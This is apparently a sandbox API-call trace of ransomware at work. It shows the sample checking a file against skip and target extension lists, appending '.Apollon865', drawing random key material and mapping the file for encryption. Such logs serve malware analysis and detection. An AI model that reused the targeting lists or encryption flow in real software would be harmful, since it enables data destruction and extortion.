	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0066.802] lstrlenW (lpString="cab1.cab") returned 8
	[0066.802] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*") returned 119
	[0066.802] lstrcpyW (in: lpString1=0x119e6f4, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0066.802] lstrlenW (lpString="cab1.cab") returned 8
	[0066.802] lstrlenW (lpString="Apollon865") returned 10
	[0066.802] lstrlenW (lpString=".dll") returned 4
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0066.802] lstrlenW (lpString=".lnk") returned 4
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0066.802] lstrlenW (lpString=".ini") returned 4
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0066.802] lstrlenW (lpString=".sys") returned 4
	[0066.802] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0066.802] lstrlenW (lpString="cab1.cab") returned 8
	[0066.802] lstrlenW (lpString="bak") returned 3
	[0066.802] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0066.802] lstrlenW (lpString="ba_") returned 3
	[0066.802] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0066.802] lstrlenW (lpString="dbb") returned 3
	[0066.802] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0066.802] lstrlenW (lpString="vmdk") returned 4
	[0066.802] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0066.802] lstrlenW (lpString="rar") returned 3
	[0066.802] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0066.802] lstrlenW (lpString="zip") returned 3
	[0066.803] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0066.803] lstrlenW (lpString="tgz") returned 3
	[0066.803] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0066.803] lstrlenW (lpString="vbox") returned 4
	[0066.803] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0066.803] lstrlenW (lpString="vdi") returned 3
	[0066.803] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0066.803] lstrlenW (lpString="vhd") returned 3
	[0066.803] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0066.803] lstrlenW (lpString="vhdx") returned 4
	[0066.803] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0066.803] lstrlenW (lpString="avhd") returned 4
	[0066.803] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0066.803] lstrlenW (lpString="db") returned 2
	[0066.803] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0066.803] lstrlenW (lpString="db2") returned 3
	[0066.803] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0066.803] lstrlenW (lpString="db3") returned 3
	[0066.803] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0066.803] lstrlenW (lpString="dbf") returned 3
	[0066.803] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0066.803] lstrlenW (lpString="mdf") returned 3
	[0066.803] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0066.803] lstrlenW (lpString="mdb") returned 3
	[0066.803] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0066.803] lstrlenW (lpString="sql") returned 3
	[0066.803] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0066.803] lstrlenW (lpString="sqlite") returned 6
	[0066.803] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0066.803] lstrlenW (lpString="sqlite3") returned 7
	[0066.803] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0066.803] lstrlenW (lpString="sqlitedb") returned 8
	[0066.803] lstrlenW (lpString="xml") returned 3
	[0066.803] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0066.803] lstrlenW (lpString="$er") returned 3
	[0066.803] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0066.804] lstrlenW (lpString="4dd") returned 3
	[0066.804] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0066.804] lstrlenW (lpString="4dl") returned 3
	[0066.804] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0066.804] lstrlenW (lpString="^^^") returned 3
	[0066.804] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0066.804] lstrlenW (lpString="abs") returned 3
	[0066.804] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0066.804] lstrlenW (lpString="abx") returned 3
	[0066.804] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0066.804] lstrlenW (lpString="accdb") returned 5
	[0066.804] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0066.804] lstrlenW (lpString="accdc") returned 5
	[0066.804] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0066.804] lstrlenW (lpString="accde") returned 5
	[0066.804] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0066.804] lstrlenW (lpString="accdr") returned 5
	[0066.804] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0066.804] lstrlenW (lpString="accdt") returned 5
	[0066.804] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0066.804] lstrlenW (lpString="accdw") returned 5
	[0066.804] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0066.804] lstrlenW (lpString="accft") returned 5
	[0066.804] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0066.804] lstrlenW (lpString="adb") returned 3
	[0066.804] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0066.804] lstrlenW (lpString="adb") returned 3
	[0066.804] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0066.804] lstrlenW (lpString="ade") returned 3
	[0066.804] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0066.804] lstrlenW (lpString="adf") returned 3
	[0066.804] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0066.804] lstrlenW (lpString="adn") returned 3
	[0066.804] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0066.804] lstrlenW (lpString="adp") returned 3
	[0066.804] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0066.804] lstrlenW (lpString="alf") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0066.805] lstrlenW (lpString="ask") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0066.805] lstrlenW (lpString="btr") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0066.805] lstrlenW (lpString="cat") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0066.805] lstrlenW (lpString="cdb") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0066.805] lstrlenW (lpString="ckp") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0066.805] lstrlenW (lpString="cma") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0066.805] lstrlenW (lpString="cpd") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0066.805] lstrlenW (lpString="dacpac") returned 6
	[0066.805] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0066.805] lstrlenW (lpString="dad") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0066.805] lstrlenW (lpString="dadiagrams") returned 10
	[0066.805] lstrlenW (lpString="daschema") returned 8
	[0066.805] lstrlenW (lpString="db-journal") returned 10
	[0066.805] lstrlenW (lpString="db-shm") returned 6
	[0066.805] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0066.805] lstrlenW (lpString="db-wal") returned 6
	[0066.805] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0066.805] lstrlenW (lpString="dbc") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0066.805] lstrlenW (lpString="dbs") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0066.805] lstrlenW (lpString="dbt") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0066.805] lstrlenW (lpString="dbv") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0066.805] lstrlenW (lpString="dbx") returned 3
	[0066.805] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0066.806] lstrlenW (lpString="dcb") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0066.806] lstrlenW (lpString="dct") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0066.806] lstrlenW (lpString="dcx") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0066.806] lstrlenW (lpString="ddl") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0066.806] lstrlenW (lpString="dlis") returned 4
	[0066.806] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0066.806] lstrlenW (lpString="dp1") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0066.806] lstrlenW (lpString="dqy") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0066.806] lstrlenW (lpString="dsk") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0066.806] lstrlenW (lpString="dsn") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0066.806] lstrlenW (lpString="dtsx") returned 4
	[0066.806] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0066.806] lstrlenW (lpString="dxl") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0066.806] lstrlenW (lpString="eco") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0066.806] lstrlenW (lpString="ecx") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0066.806] lstrlenW (lpString="edb") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0066.806] lstrlenW (lpString="epim") returned 4
	[0066.806] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0066.806] lstrlenW (lpString="fcd") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0066.806] lstrlenW (lpString="fdb") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0066.806] lstrlenW (lpString="fic") returned 3
	[0066.806] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0066.806] lstrlenW (lpString="flexolibrary") returned 12
	[0066.807] lstrlenW (lpString="fm5") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0066.807] lstrlenW (lpString="fmp") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0066.807] lstrlenW (lpString="fmp12") returned 5
	[0066.807] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0066.807] lstrlenW (lpString="fmpsl") returned 5
	[0066.807] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0066.807] lstrlenW (lpString="fol") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0066.807] lstrlenW (lpString="fp3") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0066.807] lstrlenW (lpString="fp4") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0066.807] lstrlenW (lpString="fp5") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0066.807] lstrlenW (lpString="fp7") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0066.807] lstrlenW (lpString="fpt") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0066.807] lstrlenW (lpString="frm") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0066.807] lstrlenW (lpString="gdb") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0066.807] lstrlenW (lpString="gdb") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0066.807] lstrlenW (lpString="grdb") returned 4
	[0066.807] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0066.807] lstrlenW (lpString="gwi") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0066.807] lstrlenW (lpString="hdb") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0066.807] lstrlenW (lpString="his") returned 3
	[0066.807] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0066.807] lstrlenW (lpString="ib") returned 2
	[0066.807] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0066.808] lstrlenW (lpString="idb") returned 3
	[0066.808] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0066.808] lstrlenW (lpString="ihx") returned 3
	[0066.808] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0066.808] lstrlenW (lpString="itdb") returned 4
	[0066.808] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0066.808] lstrlenW (lpString="itw") returned 3
	[0066.808] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0066.808] lstrlenW (lpString="jet") returned 3
	[0066.808] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0066.808] lstrlenW (lpString="jtx") returned 3
	[0066.808] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0066.808] lstrlenW (lpString="kdb") returned 3
	[0066.808] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0066.808] lstrlenW (lpString="kexi") returned 4
	[0066.808] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0066.808] lstrlenW (lpString="kexic") returned 5
	[0066.808] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0066.808] lstrlenW (lpString="kexis") returned 5
	[0066.808] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0066.808] lstrlenW (lpString="lgc") returned 3
	[0066.808] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0066.808] lstrlenW (lpString="lwx") returned 3
	[0066.808] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0066.808] lstrlenW (lpString="maf") returned 3
	[0066.808] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0066.808] lstrlenW (lpString="maq") returned 3
	[0066.808] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0066.808] lstrlenW (lpString="mar") returned 3
	[0066.808] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0066.808] lstrlenW (lpString="marshal") returned 7
	[0066.808] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0066.808] lstrlenW (lpString="mas") returned 3
	[0066.808] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0066.808] lstrlenW (lpString="mav") returned 3
	[0066.808] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0066.808] lstrlenW (lpString="maw") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0066.809] lstrlenW (lpString="mdbhtml") returned 7
	[0066.809] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0066.809] lstrlenW (lpString="mdn") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0066.809] lstrlenW (lpString="mdt") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0066.809] lstrlenW (lpString="mfd") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0066.809] lstrlenW (lpString="mpd") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0066.809] lstrlenW (lpString="mrg") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0066.809] lstrlenW (lpString="mud") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0066.809] lstrlenW (lpString="mwb") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0066.809] lstrlenW (lpString="myd") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0066.809] lstrlenW (lpString="ndf") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0066.809] lstrlenW (lpString="nnt") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0066.809] lstrlenW (lpString="nrmlib") returned 6
	[0066.809] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0066.809] lstrlenW (lpString="ns2") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0066.809] lstrlenW (lpString="ns3") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0066.809] lstrlenW (lpString="ns4") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0066.809] lstrlenW (lpString="nsf") returned 3
	[0066.809] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0066.809] lstrlenW (lpString="nv") returned 2
	[0066.809] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0066.809] lstrlenW (lpString="nv2") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0066.810] lstrlenW (lpString="nwdb") returned 4
	[0066.810] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0066.810] lstrlenW (lpString="nyf") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0066.810] lstrlenW (lpString="odb") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0066.810] lstrlenW (lpString="odb") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0066.810] lstrlenW (lpString="oqy") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0066.810] lstrlenW (lpString="ora") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0066.810] lstrlenW (lpString="orx") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0066.810] lstrlenW (lpString="owc") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0066.810] lstrlenW (lpString="p96") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0066.810] lstrlenW (lpString="p97") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0066.810] lstrlenW (lpString="pan") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0066.810] lstrlenW (lpString="pdb") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0066.810] lstrlenW (lpString="pdm") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0066.810] lstrlenW (lpString="pnz") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0066.810] lstrlenW (lpString="qry") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0066.810] lstrlenW (lpString="qvd") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0066.810] lstrlenW (lpString="rbf") returned 3
	[0066.810] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0066.810] lstrlenW (lpString="rctd") returned 4
	[0066.811] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0066.811] lstrlenW (lpString="rod") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0066.811] lstrlenW (lpString="rodx") returned 4
	[0066.811] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0066.811] lstrlenW (lpString="rpd") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0066.811] lstrlenW (lpString="rsd") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0066.811] lstrlenW (lpString="sas7bdat") returned 8
	[0066.811] lstrlenW (lpString="sbf") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0066.811] lstrlenW (lpString="scx") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0066.811] lstrlenW (lpString="sdb") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0066.811] lstrlenW (lpString="sdc") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0066.811] lstrlenW (lpString="sdf") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0066.811] lstrlenW (lpString="sis") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0066.811] lstrlenW (lpString="spq") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0066.811] lstrlenW (lpString="te") returned 2
	[0066.811] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0066.811] lstrlenW (lpString="teacher") returned 7
	[0066.811] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0066.811] lstrlenW (lpString="tmd") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0066.811] lstrlenW (lpString="tps") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0066.811] lstrlenW (lpString="trc") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0066.811] lstrlenW (lpString="trc") returned 3
	[0066.811] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0066.811] lstrlenW (lpString="trm") returned 3
	[0066.812] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0066.812] lstrlenW (lpString="udb") returned 3
	[0066.812] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0066.812] lstrlenW (lpString="udl") returned 3
	[0066.812] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0066.812] lstrlenW (lpString="usr") returned 3
	[0066.812] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0066.812] lstrlenW (lpString="v12") returned 3
	[0066.812] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0066.812] lstrlenW (lpString="vis") returned 3
	[0066.812] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0066.812] lstrlenW (lpString="vpd") returned 3
	[0066.812] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0066.812] lstrlenW (lpString="vvv") returned 3
	[0066.812] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0066.812] lstrlenW (lpString="wdb") returned 3
	[0066.812] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0066.812] lstrlenW (lpString="wmdb") returned 4
	[0066.812] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0066.812] lstrlenW (lpString="wrk") returned 3
	[0066.812] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0066.812] lstrlenW (lpString="xdb") returned 3
	[0066.812] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0066.812] lstrlenW (lpString="xld") returned 3
	[0066.812] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0066.812] lstrlenW (lpString="xmlff") returned 5
	[0066.812] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0066.812] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.Apollon865") returned 137
	[0066.812] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab.apollon865"), dwFlags=0x1) returned 1
	[0066.815] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0066.815] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=5588256) returned 1
	[0066.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0066.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0066.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0066.816] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0066.817] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0066.817] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.817] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x554820, lpName=0x0) returned 0xd8
	[0066.818] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x154820) returned 0x3390000
	[0067.551] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0067.552] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0067.552] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0067.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0067.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0067.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0067.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0067.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0067.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0067.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0067.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0067.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0067.553] UnmapViewOfFile (lpBaseAddress=0x3390000) returned 1
